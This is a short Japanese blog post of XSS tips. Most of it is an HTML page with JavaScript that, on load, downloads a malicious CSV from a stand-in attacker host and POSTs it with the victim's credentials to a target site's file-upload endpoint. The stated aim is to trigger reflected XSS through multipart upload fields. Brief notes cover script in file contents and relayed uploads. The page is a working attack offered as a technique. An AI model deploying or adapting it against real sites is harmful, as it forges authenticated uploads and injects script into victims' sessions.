ファイルを自動アップロードをするxhr - XSS系小ネタ
XSS系の小ネタ、multipart + ファイルアップロードの箇所にReflected XSSがあるような場合のためのhtml
補足
- ファイルコンテンツにスクリプトが含まれていると発火するケース
- ファイル横流しでのアップロード
- ちなみにダウンロードファイルはクライアント上にキャッシュされる。もしかしたらそこから何かしらできるかもできないかも(わからない)
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Auto File Upload</title> </head> <body> <script> let xhr= new XMLHttpRequest(); xhr.withCredentials = true; // Get malicious file xhr.open('GET', 'http://attacker.local/hogehoge.csv', true); xhr.responseType = 'blob'; xhr.send(); xhr.onload = () => { let blob = xhr.response; let fd = new FormData(); fd.append('param1', 'value1'); fd.append('upload', blob, 'hogehoge.csv'); xhr.open('POST', 'http://target.site/target_uri', true); xhr.send(fd); }; </script> </body> </html>